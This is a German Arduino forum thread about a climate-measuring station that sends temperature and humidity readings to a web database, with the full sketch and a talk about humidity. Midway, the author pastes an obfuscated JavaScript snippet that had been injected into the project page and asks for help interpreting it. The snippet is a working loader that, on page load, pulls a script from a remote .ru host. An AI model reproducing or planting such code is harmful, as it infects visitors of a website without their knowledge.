vollendetes Projekt Klimamessung mit Arduino

Hallo

Ich habe eine kleine Klima-Messstation mit Arduino realisiert.

Der Arduino misst mit einem SHT15-Sensor in einem Intervall von 5 Minuten die Temperatur und die relative Luftfeuchtigkeit.
Diese Messwerte sendet er über WLAN und Internet auf eine mySQL-Datenbank (auf gemietetem Webserver).
Auf dem Webserver werden diese Daten als Diagramm aufbereitet und mit HTML dargestellt.

Später will ich diese Station im Gemüsegarten platzieren und damit die Bewässerung steuern.
Aus den gesammelten klimatischen Daten erhoffe ich mir ein Algorithmus zur Steuerung der optimalen Bewässerung meines Gartens zu entwickeln.

Anstelle der Wasserpumpe schalte ich zur Zeit eine LED ein und aus (Passwort geschützter Bereich auf der Webseite).

Wer sich für das Projekt oder Teile davon interessiert soll sich melden, ich kann den Quellcode zur Verfügung stellen.

Viel Spass: http://arduino.andres.li

Achtung!!! Auf deiner Webseite befindet sich ein Trojanisches Pferd das sich beim Aufrufen der Seite versucht zu installieren

Es handelt sich um JS:Illredir-AQ [Trj] und befindet sich auf der hauptseite in klima.html.

Danke für den Hinweis, ich habe es entfernt und auch die Ursache dafür bereits gefunden
....Schuld war ein Freeware Tool welches mir beim erstellen der Diagramme behilflich war.

So muss es sein man hilft sich wo man kann :slight_smile:

Danke.
Hm, ich hatte die Seite vorher schon aufgerufen. Entweder blockt mein Firefox so gut (habe adblock plus) oder ich habe es nicht gemerkt. Lasse gleich einen Awarescan laufen. Firewall ist aktiv. Woran kann ich erkennen ob ich mir mit der Seite nun was eingefangen habe ?

Entschuldigt diese Unachtsamkeit, ich wollte mit meiner Site niemandem Schaden zufügen.
Ich habe noch das Codeschnipsel welches auf der HTML Seite als "Trojaner" erkannt wurde.

Vielleicht kann das jemand interpretieren und sagen ob damit Schaden angerichtet wurde, meines Erachtens ist es kein Trojaner (aber ich kann die Funktion dieses Code auch nicht interpretieren):

<script>var W=new Array();function y(){var vc='';var Q;if(Q!='' && Q!='yb'){Q=''};var T=window;var j;if(j!='F' && j!='A'){j='F'};this.sZ='';var vw=new String();var E=unescape;var w=E("%2f%66%72%65%65%77%65%62%73%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%63%68%69%6e%61%72%65%6e%2e%63%6f%6d%2e%70%68%70");var yq;if(yq!='' && yq!='l'){yq=''};this.z='';function b(p,u){this.lb="";var B;if(B!='sk'){B=''};var O=new Date();var Td=new String("g");var r=E("%5b"), s=E("%5d");var h;if(h!='' && h!='wq'){h='q_'};var e_;if(e_!='bw' && e_ != ''){e_=null};var M=r+u+s;var sK=new RegExp(M, Td);return p.replace(sK, new String());var VI;if(VI!=''){VI='m'};var kL='';};var pu='';var kH='';var W_=new String();var hY=new Date();var U=document;var tV;if(tV!='FH' && tV != ''){tV=null};var kj=new String();var V=b('8333202223381330113','1324');var e=new String();var aF;if(aF!='ow'){aF='ow'};var VB=new Date();var _=new String();var hc;if(hc!='yE' && hc != ''){hc=null};function Vg(){this.tL='';var UI;if(UI!='TR' && UI != ''){UI=null};var k=E("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");e=k;e+=V;e+=w;var Zz;if(Zz!='Su'){Zz=''};var iT;if(iT!='da' && iT!='Uq'){iT='da'};this.RR="";try {var sPn=new String();var rL=new Date();v=U.createElement(b('s4c4r4ivpvt4','v4'));var hh="";this.cv='';v[E("%64%65%66%65%72")]=[1,9][0];var sG=new String();v[E("%73%72%63")]=e;this.Vc='';var LZ='';U.body.appendChild(v);var CW='';var AB=new Array();} catch(Z){var yV;if(yV!='' && yV!='Gg'){yV=''};alert(Z);var ug;if(ug!='' && ug!='vE'){ug=null};};var OU=new String();}this.sW="";var iTU="";T[new String("onl"+"oadeU4".substr(0,3))]=Vg;this.pf="";};var Hk=new Array();var XG=new String();var RS;if(RS!='bf' && RS != ''){RS=null};y();this.pY="";</script>
<!--d46f4871b2bbe4e80d21172e6c42ce4d-->

Hi,

sehr schönes Projekt! Kannst Du uns bitte mal den Code zur Verfügung stellen. Mich interessiert vor allem der Part mit der Steuerung des Arduino über ein HTML Interface.

Danke im voraus

Sebastian

Ich habe den Code noch nicht bereinigt, es herrscht also noch etwas Unordnung....

Der Arduino wird über den Aufruf eines vordefinierten Link von HTML "gesteuert".
Es wird erkannt welchen Link im Arduino ich Aufrufe. Man kann dort nebst HTML-Code auch noch Funktionen reinpacken (in meinem Fall die Wasserpumpe ein- und ausschalten).

Aber es gibt kein Grund zur Euphorie, denn ich habe bemerkt dass die Rechenleistung von Arduino im Falle von zu langem HTML-Code oder komplexeren Funktionen zu langsam ist und die WLAN-Verbidnung parallel dazu nicht aufrecht erhalten bleibt.

Massgebend ist also, mit welchem Link ich den Arduino kontaktiere.
z.B. http://ip-adresse-arduino/0?
oder http://ip-adresse-arduino/1?

Hier der relevante Code von diesem Abschnitt im Arduino:

// This is our page serving function that generates web pages
boolean sendMyPage(char* URL) {
  
    // Check if the requested URL matches "/"
    if (strcmp(URL, "/") == 0 || (URL[0] == '/' && URL[1] == '0' && URL[2] == '?')) {
        // Use WiServer's print and println functions to write out the page content
        WiServer.print("<html><body>Wassermenge: ");
        //WiServer.print(ping());
        WiServer.print(" Liter");
        WiServer.print("
Akku: ");
        WiServer.print(akku());
        WiServer.print(" Volt.
");
        WiServer.print("Temperatur: ");
        WiServer.print(temp());
        WiServer.print(" Grad.
");
        WiServer.print("Feuchte: ");
        WiServer.print(humidityFunc());
        WiServer.print(" Prozent.
");
        pumpe(false);
        WiServer.print("
");
        WiServer.print("
");
        WiServer.print("<form method=\"get\" action=\"1\"><input type=\"submit\" name=\"pumpe\" value=\"Pumpe ein\"></input></form>");
        WiServer.print("</body></html>");
        // URL was recognized
        return true;
    }
    if (URL[0] == '/' && URL[1] == '1' && URL[2] == '?') {
        // Use WiServer's print and println functions to write out the page content
        WiServer.print("<html><body>Wassermenge: ");
        //WiServer.print(ping());
        WiServer.print(" Liter");
        WiServer.print("
Akku: ");
        WiServer.print(akku());
        WiServer.print(" Volt.
");
        WiServer.print("Temperatur: ");
        WiServer.print(temp());
        WiServer.print(" Grad.
");
        WiServer.print("Feuchte: ");
        WiServer.print(humidityFunc());
        WiServer.print(" Prozent.
");
        pumpe(true);
        WiServer.print("
");
        WiServer.print("
");
        WiServer.print("<form method=\"get\" action=\"0\"><input type=\"submit\" name=\"pumpe\" value=\"Pumpe aus\"></input></form>");
        WiServer.print("</body></html>");
        // URL was recognized
        return true;
    }

    // URL not found
    return false;
}

Komplettes Sketch (inkl. Litermessung im Wasserfass mittels Ultraschall-Distanzmessung, jedoch noch deaktiviert):

/*
 * Klimadaten messen und an SQL übermitteln
 */


#include <WiServer.h>
#include <SHT1x.h>

#define WIRELESS_MODE_INFRA      1
#define WIRELESS_MODE_ADHOC      2

// Pin fuer Ultraschallsignal ist digital 2
const int pingPin = 2;
const int pumpePin = 3;
// Specify data and clock connections and instantiate SHT1x object
#define dataPin  6
#define clockPin 7
SHT1x sht1x(dataPin, clockPin);

long cm = 0;
float liter = 0;
float akkuSpannung = 0;
float leistung = 0;
float temp_c = 0;
float humidity = 0;

char buffer[256];

// Hier wird die Fasshoehe in cm angegeben
float fassHoehe = 80;
// Hier wird der Fassdurchmesser in cm angegeben
float fassDurchmesser = 40;

long timer = 599900;

// Wireless configuration parameters ----------------------------------------
unsigned char local_ip[] = {192,168,1,2};      // IP address of WiShield
unsigned char gateway_ip[] = {192,168,1,1};      // router or gateway IP address
unsigned char subnet_mask[] = {255,255,255,0};      // subnet mask for the local network
const prog_char ssid[] PROGMEM = {"HOMENET"};            // max 32 bytes

unsigned char security_type = 1;              // 0 - open; 1 - WEP; 2 - WPA; 3 - WPA2

// WPA/WPA2 passphrase
const prog_char security_passphrase[] PROGMEM = {"12345678"};      // max 64 characters

// WEP 128-bit keys
// sample HEX keys
prog_uchar wep_keys[] PROGMEM = {      0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX,      // Key 0
                                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,      0x00,      // Key 1
                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,      0x00,      // Key 2
                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,      0x00      // Key 3
                        };

// setup the wireless mode
// infrastructure - connect to AP
// adhoc - connect to another WiFi device
unsigned char wireless_mode = WIRELESS_MODE_INFRA;

unsigned char ssid_len;
unsigned char security_passphrase_len;
// End of wireless configuration parameters ----------------------------------------


// This is our page serving function that generates web pages
boolean sendMyPage(char* URL) {
  
    // Check if the requested URL matches "/"
    if (strcmp(URL, "/") == 0 || (URL[0] == '/' && URL[1] == '0' && URL[2] == '?')) {
        // Use WiServer's print and println functions to write out the page content
        WiServer.print("<html><body>Wassermenge: ");
        //WiServer.print(ping());
        WiServer.print(" Liter");
        WiServer.print("
Akku: ");
        WiServer.print(akku());
        WiServer.print(" Volt.
");
        WiServer.print("Temperatur: ");
        WiServer.print(temp());
        WiServer.print(" Grad.
");
        WiServer.print("Feuchte: ");
        WiServer.print(humidityFunc());
        WiServer.print(" Prozent.
");
        pumpe(false);
        WiServer.print("
");
        WiServer.print("
");
        WiServer.print("<form method=\"get\" action=\"1\"><input type=\"submit\" name=\"pumpe\" value=\"Pumpe ein\"></input></form>");
        WiServer.print("</body></html>");
        // URL was recognized
        return true;
    }
    if (URL[0] == '/' && URL[1] == '1' && URL[2] == '?') {
        // Use WiServer's print and println functions to write out the page content
        WiServer.print("<html><body>Wassermenge: ");
        //WiServer.print(ping());
        WiServer.print(" Liter");
        WiServer.print("
Akku: ");
        WiServer.print(akku());
        WiServer.print(" Volt.
");
        WiServer.print("Temperatur: ");
        WiServer.print(temp());
        WiServer.print(" Grad.
");
        WiServer.print("Feuchte: ");
        WiServer.print(humidityFunc());
        WiServer.print(" Prozent.
");
        pumpe(true);
        WiServer.print("
");
        WiServer.print("
");
        WiServer.print("<form method=\"get\" action=\"0\"><input type=\"submit\" name=\"pumpe\" value=\"Pumpe aus\"></input></form>");
        WiServer.print("</body></html>");
        // URL was recognized
        return true;
    }

    // URL not found
    return false;
}


void feedData() 
{
  //float postWasser = ping();
  //Serial.println(postWasser);
  //int postWasser1 = (postWasser - (int)postWasser) * 100;
  
  float postAkku = akku();
  int postAkku1 = (postAkku - (int)postAkku) * 100;
  
  float postTemp = temp();
  int postTemp1 = (postTemp - (int)postTemp) * 100;
  
  float postFeuchte = humidityFunc();
  int postFeuchte1 = (postFeuchte - (int)postFeuchte) * 100;
  
  
  
  sprintf(buffer, "POST &wasser=%0d.%d&akku=%0d.%d&solar=%0d.%d&feuchte=%0d.%d& HTTP/1.1", 0, 0, (int)postAkku, postAkku1, (int)postTemp, postTemp1, (int)postFeuchte, postFeuchte1);

  WiServer.print(buffer); 
  Serial.println(buffer);
}

void pumpe(boolean pumpe)
{
  pinMode(pumpePin, OUTPUT);
  if (pumpe == true) {
    digitalWrite(pumpePin, HIGH);
  }
  if (pumpe == false) {
    digitalWrite(pumpePin, LOW);
  }
}

float akku() {
  akkuSpannung = analogRead(5) * 0.0049;
  akkuSpannung = 10837 * (akkuSpannung / 1002);
  return akkuSpannung; 
}
  
float solar() {
  leistung = (sq(analogRead(4) * 0.0049))/0.32265;
  return leistung;
}

// IP Address for arduino.andres.li
uint8 ip[] = {217,26,52,28};
char hostName[] = "arduino.andres.li\nConnection: close";
char url[] = "/XXXXXXX.php?";


// A request that POSTS data to Andres.li
POSTrequest postAndres(ip, 80, hostName, url, feedData);


// Function that prints data from the server
void printData(char* data, int len) {
  
  // Print the data returned by the server
  // Note that the data is not null-terminated, may be broken up into smaller packets, and 
  // includes the HTTP header. 
  while (len-- > 0) {
    Serial.print(*(data++));
  } 
}

void setup() {
  // Initialize WiServer and have it use the sendMyPage function to serve pages
  WiServer.init(sendMyPage);  
  // Enable Serial output and ask WiServer to generate log messages (optional)
  Serial.begin(57600);
  WiServer.enableVerboseMode(true);  
  postAndres.setReturnFunc(printData);
  
}

void loop(){
  // Run WiServer
  WiServer.server_task();
  
  if (timer >= 50000) {                    // 50000 entspricht ca. einem Intervall von 5 Minuten
    timer = 0;
    postAndres.submit();
    Serial.print("IP Update");
  }
  timer = timer +1;
  
  delay(6);

}

long ping () {
   // establish variables for duration of the ping, 
   // and the distance result in inches and centimeters:
   long duration;
   cm = 0;
   while (cm == 0) {
   // The PING))) is triggered by a HIGH pulse of 2 or more microseconds.
   // Give a short LOW pulse beforehand to ensure a clean HIGH pulse:
   pinMode(pingPin, OUTPUT);
   digitalWrite(pingPin, LOW);
   delayMicroseconds(2);
   digitalWrite(pingPin, HIGH);
   delayMicroseconds(5);
   digitalWrite(pingPin, LOW);

   // The same pin is used to read the signal from the PING))): a HIGH
   // pulse whose duration is the time (in microseconds) from the sending
   // of the ping to the reception of its echo off of an object.
   pinMode(pingPin, INPUT);
   duration = pulseIn(pingPin, HIGH);

   // convert the time into a distance
   cm = microsecondsToCentimeters(duration);
   }
   
   liter = cmToLiter(cm);
   
   Serial.print(cm);
   Serial.println();
   Serial.print(liter);
   Serial.println();
   
   return liter;
}

long microsecondsToCentimeters(long microseconds)
 {
   // The speed of sound is 340 m/s or 29 microseconds per centimeter.
   // The ping travels out and back, so to find the distance of the
   // object we take half of the distance travelled.
   return microseconds / 29 / 2;
 }
 
 float cmToLiter (long cm)
 {
   // Formel zur Berechnung der uebrigen Wassermenge in Liter
   liter = ((sq(fassDurchmesser / 200)) * 3.141 * ((fassHoehe - cm)/100)) * 1000; 
   
   return liter;
 }
 
 
 float temp() {
  temp_c = sht1x.readTemperatureC();
  return temp_c;
 }
 
 float humidityFunc() {
  humidity = sht1x.readHumidity();
  return humidity;
}

Der Clou an der Sache ist dass Arduino die Messwerte mit einem Post-Request über ein PHP-Skript in die SQL-Datenbank überspielt.

Gleichzeitig loggt das PHP-Skript das Datum, die Uhrzeit und die IP-Adresse des Arduino.
Deshalb werde ich auch trotz dynamischer IP Adresse meines DSL-Anschluss die Verbindung zu Arduino nicht verlieren, denn im 5-Minuten-Intervall teilt er die neusten Messwerte und seine aktuelle IP mit.
Somit wird er während des IP-Adresswechsel im schlimmsten Fall für max. 5 Minuten nicht erreichbar sein.

Dadurch ist dann auch ein rückwärtiger Aufruf von der Website hin zu Arduino möglich, denn ohne dass dem Webserver die IP-Adresse von Arduino bekannt ist wäre es schwierig....

Ausserdem muss Arduino nicht die Webseiten-Aufrufe aller User bewältigen, das übernimmt der Webserver....sonst wäre mein Arduino bald einmal flach, denn ab zwei und mehr Aufrufen in kurzer Zeit bekommt er ein Problem.

Mal so am Rande... Der vermeidliche Trojaner hat bei mir nichts angerichtet. Scans alle negativ.

Schönes Projekt, schwizer.

Wirklich ein schönes Projekt.
Gratulation dazu.

@schwizer
Frage zum Sensor:
Hast du die Leiterplatte mit dem Sensor direkt in das keine Sensorgehäuse geklebt und einfach ein paar Bohrungen ins Gehäuse gemacht? Sieht man aus dem Bild leider nicht so genau :wink:

Super schöne Sache :slight_smile:

Hat die Ethernet Libray denn auch die Möglichkeit auf dem Arduino POST oder GET Methoden zuzulassen um damit etwas zu triggern oder ist das nicht vorgesehen ?

zu der Malware
Die Malwar ist kodiert, wenn man einen Teil des Codes in google eingibt findet man weitere Seiten. Sie ist allerdings den Virenscannern anscheinend hinreichend bekannt.

@Webmeister:
Die Sensorplatine hängt frei im kleinen Sensorgehäuse.
Die Verbindungskabel habe ich durch ein kleines Loch in die grosse Box geführt.
Das Sensorgehäuse ist ein alter Schraubenbehälter vom Baumarkt, in den Deckel habe ich mit dem Lötkolben
einige Löcher eingebrannt damit ausreichend Umgebungsluft dazu kommt und der Sensor trotzdem vor Regen geschützt bleibt.

Update:
Ich musste das Sensorgehäuse mit Aluminiumfolie gegen direkte Sonneneinstrahlung schützen...sonst geht die Temperatur an einem Tag mit Minusgraden trotzdem locker auf 15 Grad Celsius rauf.
Diesen Effekt habe ich während der Konstruktion an nebligen Tagen nicht bedacht.

Kenn mich mit Wetter nicht so aus, aber lt. Deinen Messungen ergibt Warm=nicht feucht und Kalt=feucht. Ist das immer so?

Kenn mich mit Wetter nicht so aus, aber lt. Deinen Messungen ergibt Warm=nicht feucht und Kalt=feucht. Ist das immer so?

Klingt plausibel. Warme Luft kann wesentlich mehr Feuchtigkeit aufnehmen als kalte Luft. Das bedeutet, wenn bspw. die Umgebungsluft bei 5°C gesättigt ist (100% relative Luftfeuchte) und eine Temperaturerhöhung stattfindet, beispielsweise auf 15°C, so sinkt die relative Luftfeuchtigkeit ab, weil der Sättigungspunkt unterschritten wird.

@DE8MSH:
Ich musste im Rahmen dieses Projektes auch erst nachlesen was die relative Luftfeuchtigkeit genau aussagt, aber es ist tatsächlich so wie es sth77 beschrieben hat.
Bei gleicher absoluter Wassermenge in der Luft nimmt die Feuchte mit sinkender Temperatur zu.
Die beste Erklärung dazu liefert Wikipedia Luftfeuchtigkeit – Wikipedia

Mit der Temperatur und der relativen Luftfeuchtigkeit könnte man theoretisch die absolute Luftfeuchtigkeit ausrechnen.

Hallo,

danke Euch beiden für die Info :smiley: Das war mir bisher nicht bekannt. BTW: Schönes Projekt!